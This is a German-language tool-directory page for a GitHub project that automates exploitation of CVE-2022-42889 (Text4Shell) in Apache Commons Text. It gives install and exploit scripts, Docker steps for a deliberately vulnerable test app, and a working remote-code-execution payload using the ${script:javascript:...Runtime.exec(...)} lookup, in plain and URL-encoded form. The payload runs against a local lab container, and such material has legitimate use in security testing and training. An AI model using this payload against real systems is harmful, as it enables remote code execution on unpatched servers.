Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Text4shell--Automated-exploit---CVE-2022-42889 — Automatisierter Exploit für CVE-2022-42889 (Text4Shell) mit einer verwundbaren Dockerisierten App zum Testen und einer Anleitung zur manuellen Ausnutzung. | Kitploit
Tools/GitHubGitHub/adarshpv9746/text4shell--automated-exploit---cve-2022-42889
Dynamische Analyse (Sandboxing)SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubadarshpv9746/text4shell--automated-exploit---cve-2022-42889

Text4shell--Automated-exploit---CVE-2022-42889

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Automatisierter Exploit für CVE-2022-42889 (Text4Shell) mit einer verwundbaren Dockerisierten App zum Testen und einer Anleitung zur manuellen Ausnutzung.

Repository anzeigen
5vor 3 JahrenNoch nicht geprüft
Teilen

Maven installieren - maven-linux

//Für automatisiertes Hacken: 1../install.sh

root@kitploit:~
2../exploit.sh
  1. Um die Anwendung zu entfernen, verwenden Sie ./stopapp.sh

//Für manuelles Hacken:

  1. Maven-Installation zum Erstellen des Fat-Jars
root@kitploit:~
mvn clean install
  1. Docker-Build
root@kitploit:~
docker build --tag=text4shell .
  1. Docker ausführen
root@kitploit:~
docker run -p 80:8080 text4shell
  1. Die App testen
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. Der Angriff kann durch Übergabe einer Zeichenkette „${prefix:name}“ erfolgen, wobei das Präfix das oben genannte Lookup ist:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. Sie können auch die Präfixe dns oder url verwenden.

  2. Container-ID abrufen

root@kitploit:~
docker container ls
  1. In die App einsteigen
root@kitploit:~
docker exec -it <container_id> bash
  1. Um zu überprüfen, ob der obige RCE erfolgreich war (Sie sollten eine Datei namens foo im Verzeichnis /tmp sehen):
root@kitploit:~
ls /tmp/
  1. Container stoppen
root@kitploit:~
docker container stop <container_id>
Tool herunterladen